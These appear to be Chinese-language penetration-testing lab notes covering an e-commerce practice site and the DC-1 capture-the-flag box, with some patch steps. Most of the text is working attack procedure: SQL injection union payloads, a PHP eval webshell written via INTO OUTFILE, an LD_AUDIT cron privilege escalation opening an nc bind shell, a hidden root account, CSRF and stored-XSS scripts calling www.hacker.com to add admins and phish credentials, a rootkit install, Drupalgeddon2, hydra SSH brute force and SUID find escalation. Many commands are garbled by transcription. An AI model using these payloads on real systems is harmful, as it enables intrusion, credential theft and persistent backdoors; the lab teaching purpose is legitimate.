电子商务(day1)
sql注入
1黑客访问目标网站http://www.ec.com/shop/
http://www.ec.com/shop/goods.php?id=9' 返回错误信息
从返回的错误信息可以看到后台使用的是MySQL数据库,并暴露了当前查询数据表及相关字段信息。
发现sql注入漏洞
3构造union查询
http://www.ec.com/shop/goods.php?id=9'unionselect1,2,3,4,5,6,7,8,9,'10
之所以构造10个字段的union查询是因为,从上面的报错信息可以知道目标数据表查询出的字段个数为10个。返回结果图中从左边的“相同外观样式的商品”可以看出union查询的结果显示在第三个商品的位置,
其中union查询的1,2,3,4,5,6,7,8,9,10十个数字的2与6出现在目标页面上。这样我们就可以继续构造union查询语句,试图将管理员密码哈希显示出来。
构造union查询语句,如果把2数字换成password字段则会显示密码
浏览器输入命令:http://www.ec.con/shop/goods.php?id=9'unionselect1,password,3,4,5,6,7,8,9,10fromecs admin_userwhereuser_name='adnin
可看到管理员admin的密码哈希值(32位长度),不过只显示前7位。
由于密码显示不全,所以采用musql substrinq函数技巧,将其余部分逐渐显示出来,依次执行以下语句即可:
4构造获取管理员密码的union查询
http://www.ec.com/shop/goods.php?id=9'unionselect1,password,3,4,5,6,7,8,9,10fromecs_admin_userwhere user_name='adnin 即可看到管理员admin的密码哈希值(32位长度),不过只显示前7位
解释:表示对password字段从第8位开始取值,向后取七位
可以采用mysql substring函数技巧,将其余部分逐渐显示出来,依次执行以下语句即可:
获得的管理员密码完整MD5值为:7fef6171469e80d32c0559f88b377245
破解密码哈希
http://cmd5.com上查询该密码哈希得到明文为admin88
地址:http://www.ec.com/shop/admin 用户名:admin
密码:admin888
在左侧“菜单”的“数据库管理”的“SQL查询”可以看到后台具备直接执行SQL语句的功能。
执行SQL语句:select user();
得到root@localhost,说明数据库连接权限是root权限,那么黑客就可以通过MySQL读写文件。
读取Apache默认配置文件执行命令:select load_file('/etc/apache2/sites-available/default');
解释:load_file是MySQL的内置函数,可以读取本地文件,该文件为Apache2的站点默认配置文件,从该文件的内容中就可以得到目标站点的本地路径信息。目标web的本地路径为/uar/www/
上传PHP一句话木马到服务器上:select'<?php eval($_POST[c])?>'into outfile'/var/www/shop/data/tinydoor.php';
得到一句话木马http://www.ec.com/shop/data/tinydoor.php
使用一句话木马客户端
桌面\ec\工具\index.htm查看相关信息
后门地址:http://www.ec.com/shop/data/tinydoor.php 后门密码:c
使用一句话木马客户端提交提权文件
桌面\ec\工具\tiquan.php
在浏览器执行如下提权指令
http://www.ec.com/shop/data/tiquan.php?c=echo'/bin/nc-1-p79-e/bin/bash'>/tmp/exploit.sh;/bin/chmod0744 /tmp/exploit.sh;
unask0;LD_AUDIT="libpcprofile.so"PCPROFILE_OUTPUT="/etc/cron.d/exploit"ping;echo'*/1****root/tmp/exploit.sh'>/etc/cron.d/exploit
该指令会在目标机器上打开nc后门,nc会监听本机79端口等待远程连接。
15、打开命令行,将桌面—ec—工具目录下的nc.exe文件拖拽到命令行里,然后输入:www.ec.com 79注意空格,回车后,任意打llinux命令,如Ls命令,则会显示当前目录下有哪些文件。
/usr/sbin/useradd -m-s /bin/bash app1-g root -o-u0;echo app1:app1|/usr/sbin/chpasswd 当执行该指令后,就在目标机器上添加用户名app1,密码app1的root权限账号。
17、用puty工具连接服务器,到此,我们已经成功入侵服务器了,并增加了app1账号,但是现在我们是从外网向服务器去连接,如果服务器有防火墙,我们是没有办法这样连接,所以需要另一种方式,让服务器主动去连接
添加反向连接后门命令,在浏览器输入如下地址
19.添加反向后门后,我们需要在本机上监听自己的口就可以连接到远程服务器了,因为我们添加了反向后门木马程序,让服务器主动连接我们
将桌面-ec-工具目录下的nc.exe文件拖拽到命令行里,然后输入命令:-l -p 99,在任意输入linux命令验证是否成功登录。这里需要等待1分钟才有反应。
20、不完全修补SQL注入漏洞
该SQL注入的发生是因为过滤不严导致黑客可以执行任意SQL语句。修补方法主要是判断提交参数值是否包含union、select、and、where等关键词。上传SQL注入过滤文件
修补文件在:桌面\ec\工具\sql\第一次修补之后的文件,将目录里所有文件上传到/var/www/shop/includes/下。
输入注入语句在浏览器中执行:
http://www.ec.com/shop/goods.php?id=9'unionselect1,password,3,4,5,6,7,8,9,10fromecs_admin_userwhere user_name='admin 测试成功能够过滤注入语句
成功
23、完善SQL注入过滤代码
这里如果仅仅判断小写的情况,只要SQL注入语句大写就可以容易就被绕过。继续上传SQL注入过滤文件
和前面操作一样,使用ftp连接工具连接服务器,\桌面\ec\工具\sqI\完美修补中找到并上传SQL注入过滤文件sql_filter_0.php到/var/wmw/shop/includes/下 (注:文件记得改名,sql_filter_1.php改为sql_filter_0.php)
24、再次进行测试,考虑到有’和大小写问题,
输入注入语句编写的URL:
http://www.ec.com/shop/goods.php?id=9'Unionselect1,password,3,4,5,6,7,8,9,10 fr0mecs_admin_user wHere user_name='admin 测试后发现能够成功过滤注入语句
SCRF攻击
实验前先改文件,目标文件:c:\AppServ\www\csrf\sql2shell.htm
将该文件中的IP地址:192.168.37.130替换为www.ec.com
使用putty登录www.ec.com
进入/var/www/shop/data目录下
删除tinydoor.php和tiquan.php文件
2、登录网址http://www.ec.com/shop/
利用留言板进行留言。写入用迷惑信息来欺骗管理员访问带有CSRF攻击代码的连接。留言内容如下:你好,我通过google搜索找到你的网站,但是谷歌提示你的网站有恶意,好像被挂马了(atarget="blankhref=http://www.hacker.com:8080/csrf/google.htm>http://ww.google.com.hk/interstitial?url=http://ww.ec.com</a)
3、管理员查看会员留言时如果没注意连接地址查看该留言时就会触发CSRF代码,由于此时管理员处于登录状态,并且网站没有进行CSRF攻防,则CSRF攻击可以成功。
4、打开连接时,管理员将看到伪造的google提示界面,此时服务器已经被执行了sql语句上传了一句话本马。
进入/var/ww/shop/data目录下,可以看到新上传的后门文件。
总结:CSRF漏洞原因是没有进行对请求来源(referer)做判断,只需要进行严格的referer判断或加入随机
上传SQL注入过滤文件
修补文件在:桌面\ec\工具\csrf\被加固完美的\init.php,将目录里的文件上传到/var/www/shop/admin/includes目录下
6、管理员登录管理后台再次点击留言,网页会直接跳转到管理后台登录页面,并且也不会在出现google提示
此时服务器后台就不会被上传tinydoor.php木马文件
rootkit后门
利用ftp工具上传rootkit后门程序,
IP地址:202.1.160.11用户名:root
密码:toor
程序在桌面\ec\工具\rootkit自录下,将ddrk.tar和rkhunter-1.3.8.tar.gz上传到目标服务器中
2、解压ddrk.tar文件
命令:tarxfddrk.tar cd ddrk
./setup qwe123 37777
运行./setup qwe12337777添加后门,qwe123代表密码,可以任意指定,3777代表rootkit后门的端口,也可以根据实际情况更改,只要不与系统冲突即可。
3、安装好rootkit后门后利用ssh工具登录验证,输入目标ip地址及rootkit后门端口号3777,密码是qwe123。
登录后使用netstat—antp命令,发现该后门连接并没有显示。
4、可以使用rkhunter进行rootkit后门的查找与取证
命令:cd /root
tar xzf rkhunter-1.3.8.tar.gz/解压,生成rkhunter-1.3.8/
目录 cd rkhunter-1.3.8/
./installer.sh --install //安装rkhunter
5、安装成功后,输入rkhunter—check命令即可进行完整的rootkit检测流程
6、检测完毕后,会生成详细的检测日志到目录的文件:/var/log/rkunter.log,分析这些就能发现并取证这些rookit后门。
cat /var/log/rkunter.log
xss攻击
实验前先修改文件,在黑客机中,将以下文件进行修改。
c: \AppServ\www\phish\shop login.php c: \AppServ\www\phish\shop_login.htm 把IP地址:192.168.37.130全部替换为www.ec.com
2、发现留言板存在存储型XSS漏洞“留言内容”为:
我买红米Note10这款<scriptsrc=http:/www.hacker.com:8080/xss/inj.js></script>,买不成功,莫非没货了?
3、通过管理员登录后台,“菜单”—“会员管理”—“会员留言”里可以查看用户留言,管理员查看留言具体内容时,跨站攻击发生。
4、管理后台被自动添加一个管理员账号:admin1,密码为hacker123。
5、此时黑客就可以通过增加的admin1账号,默认密码为hacker123,登录管理员后台进行任意操作
6、钓鱼攻击实验
黑客提交包含跨站钓鱼的留言,并且在提交的留言中包含了跨站代码,这个跨站会进行一次钓鱼攻击。内容为:我上个星期在你们这里买的索爱读卡器,
<scriptsrc=http:/www.hacker.com:8080/phish/inj.php></script>让朋友也看了看,确认是不能用!怎么回事?
7、当管理员登录后台查看“会员留言”时,管理员看到了黑客的的留言。管理员查看邮件后,弹出如下警告信息“请求超时,请重新登录。
8、点击“确定”后,页面跳转到登录界面其实该界面是个钓鱼界面,与真正的管理后台登录界面一模一样,就连地址栏的地址也是目标网站的地址。欺骗性非常高。这里需要注意的是不要使用FireFox查看。
9、黑客查看记录盗取数据的页面地址
http://www.hacker.com: 8080/phish/data.html
可以看到刚刚盗取的电子商务网站的管理员账号和密码
13、漏洞修补:把留言内容进行html编码输出,留言器就不会当成标签输出。修补文件在:桌面\ec\工具\xss\修补后的文档,将目录里的文件上传到/uar/ww/shop/temp/compiled/admin目录下
14、管理员修补漏洞并清空cookie后,重新查看留言,此时这条留言被编码输出,显示在留言中,此时没有发生钓鱼攻击,修补成功。
总结:使用火狐浏览器,不能钓鱼成功,原因是火狐自带了安全组件,禁止了script,如果需要攻击成功,需要禁掉相关组件,点击火狐浏览器一“工具”一“附加组件”,将Moscript禁用,然后重启浏览器。该实验只能成功1次,想要重现该情况,需要删除钓鱼者留下的cookie
漏洞原因:
由于管理员查看留言的界面没有对用户提交的内容进行编码输出。当管理员点击一次留留言后,则会生成一个cookie字段,并标志为1,当管理员在差查看留言,则脚本会判断该字段是否存在,如果cookie存在就不在钓鱼,避免重现钓鱼现象,而引起管理员怀疑。判断是否被钓鱼,需要先清空浏览器缓存,当再次访问该页面时,如果再次出现重新登录界面则表示被钓鱼攻击。
day2
DC-1
信息收集
1、获取到靶场的IP地址后,使用攻击机kali自带的Namp工具,扫描DC—1靶场的端口开放情况。命令:nmap -sV- p- 202.1.80.11
2、我们可以看到DC—1是开放了80端口的,在使用指纹识别工具扫描DC—1靶场。
3、可以看到http返回的访问状态码为200,表示DC—1靶场的http可以正常访问的,我们使用浏览器访问DC—1靶场。
4、可以得到信息CMS是Drupal,我们在网上漏扫Drupal CMS,发现为统用的模板。
5、一般统用模板为漏洞攻击的重灾区,我们在网上搜索drupal漏洞,查看是否存在可利用的漏洞。
漏洞利用
1、我们得知DC—1靶场存在drupal漏洞,我们使用登录工具连接kali地址:202.1.80.17账号:root密码:123456,连接kali后打开Metasploit(目前世界上领先的渗透测试工具,也是信息安全与渗透测试领域最大的开源项目之一)
命令: msfconsole
2、使用命令drupal相关的模块。命令:search drupal|
3、我们尝试利用这个远程执行漏洞。
命令:use exploit/unix/ webapp/ drupal_ drupalgeddor2
4、使用命令查看利用该模块需要配置的参数,Current Setting是目前设置的内容,Required表示是否需要设置内容,yes为必须设置,no可以设置也可不设置。命令: options
5、我们来设置一下RHOSTS内容(就是攻击目标IP地址,靶场地址)。
6、我们再次查看需要配置的参数,已经配置完成。命令: options
7、可以看到RHOSTS已经设置完成,我们设置好参数后开始攻击,出现Meterpreter session 1 opened(kali和目标ip的连接)就说明攻击成功啦。命令:run
我们输入命令获取交互行shell,然后执行ls命令
9、我们可以利用python实现交互shell,查看方便一点。
命令: python -c 'import pty; pty. spawn("/bin/bash")"
10、我们输入命令查这个shell的权限只是普通权限,不过还是可以查看文件的,我们查看当前目录下的flagl.txt文件。命令:whoami
命令:cat flag1.txt
11、我们查看flag1.txt文件得到信息,每一个好的CMMS都需要一个配置文件,所以我们需要找到CMS的配置文件,由于drupal为网站模板我们在网上搜索“drupal配置文件”可以看到Drupal安装配置文件通常是一个名为“settings.php”的文件。
12、我们使用命令查找名为“ settings.php”的文件,并查看。命令:cat`find/-name settings.php
13、我们看到配置文件中存在数据库信息,可以使用数据库账号密码登录数据库。命令: mysql- udbuser - pROck3t
14、我们查看数据库,并进入数据库。命令:show databases;
命令:use drupal db;
15、使用命令查看数据库drupaldb里面的表名。
命令: show tables;
16、在数据库中找到了一个名为users的表,猜测可能存在数据库用户的账号密码,查看表中使有内容。命令: select*from users
17、发现了admin(默认管理员账号),但是密码是经过加密的,可以看出明显不是正常的md5加密方式,这里查看Drupal存储的加密格式。
drupal官网上找到了 druple密体位应 /script assword-hash. sh(后运出数据库之后使用fin函数查我 password-hash. st件,因为无法破解 所有只能将密码替换为我们自己设置的密码,我们进入/var/www/scripts/。
18、我们查看密码加密脚本。
命令:cat password-hash.sh
19、我们回到www目录下,然后使用scripts/password-hash.sh进行调用。 命令:cd.
命令:php /var/ww/ scripts/ password-hash.sh 123456789
20、我们再次登录数据库,将加密之后的密码替换掉admin账号原来的密码。
命令: mysql - udbuser - pROck3t 命令:use drupal db;
命令 updat user st pass- $S$DoMye14AR( jKiLPfRlr AnIDEqV995 DzZEiiGRSaNwpb3E here uid- 1
21、我们再次查看users的表,发现已经替换完成。命令: select*from users;
22、我们访问DC—1靶场,使用账号: admin,和刚刚替换的密码: 123456789登录。
23、登陆后我们点击content,可以看到flag3点击查看。
24、我们查看flag3内容,提示我们查看passwd和shadow文件。
linux的/etc/passwd文件,是系统用户配置文件,存储了系统中所有用户的基本信息,并且所有用户都可以对此文件执行读操作。而/etc/shadow文件正如他的名字一样,它是passwd文件的一个影子,/etc/shadow文件中的记录行与/etc/passwd中的一一对应,由pwconv命令根据/etc/passwd中的数据自动产生。但是/etc/shadow文件只有系统管理员才能够进行修改和查
26、我们根据flag3的提示查看/etc/passwd文件。 命令:cat/etc/ passwd
27、此时我们需要获取flag4账号的密码,我们在信息收集阶段发现CD—1靶场的ssh端口22是开放的,我们可以利用hydra工具针对ssh协议对flag4账号进行爆破。命令:hydra-1 flag4 -P /usr/share/wordlists/rockyou.txt ssh:/202.1.80.11
28、我们获取flag4密码:orange后,使用ssh协议远程连接DC—1靶场。命令:ssh flag4@202.1.80.11
密码:orange
29、我们根据/etc/passwd中查看的flag4账号家目录在/home/flag4,我们进入/home/flag4目录查看,发现glag4.txt查看其内容。 命令:cd/home/flag4
命令:ls
命令:cat flag4.txt
30、我们根据flag4的提示,我们需要进入DC—1的/root目录,但由于当前shell为普通用户权限没法进入root目录。命令:cd/root
31、我们需要给shell进行提权,让我们有权利进入root目录,这里我们采用SUID提权,是一种在Linux/Unix系统中给予文件的特殊类型的文件权限。当一个程序运行时,程序将从登录用户处继承权限。SUID被定义为给予一个用户临时的(程序/文件)所有者的权限来运行一个程序/文件。
用户在执行程序/文件/命令的时候,将获取文件所有者的权限以及所有者的UID和GID。
ID提权简单理解为,一个文件有s标志(权限中包含s),并且对应的是root权限,那么当运行这个程序时就有root权限,且这个程序还能执行命令。此时就能从普通用户提升到root权限了
32、我们使用命令搜索查具有SUID权限的可执行二进制文件。命令:find /-perm-u=s-type f 2>/dev/null
33、我们可以看到find也具有suid权限,我们使用命令确认一个find命令的权限。命令:ls- al /usr/bin/find
34、我们回到用户的家目录创建一个文件,来完成提权操作。命令:cd
命令:touch666
命令:find/-name 666-exec"/bin/sh"\;
35、获得管理员权限后,我们进入root目录查看。命令:cd/root
命令:ls
36.我们发现thefinalflag.txt,使用命令查看文件,发现为flag5,至此我们已经完成DC—1靶场。命令:
cat thefinalflag. txt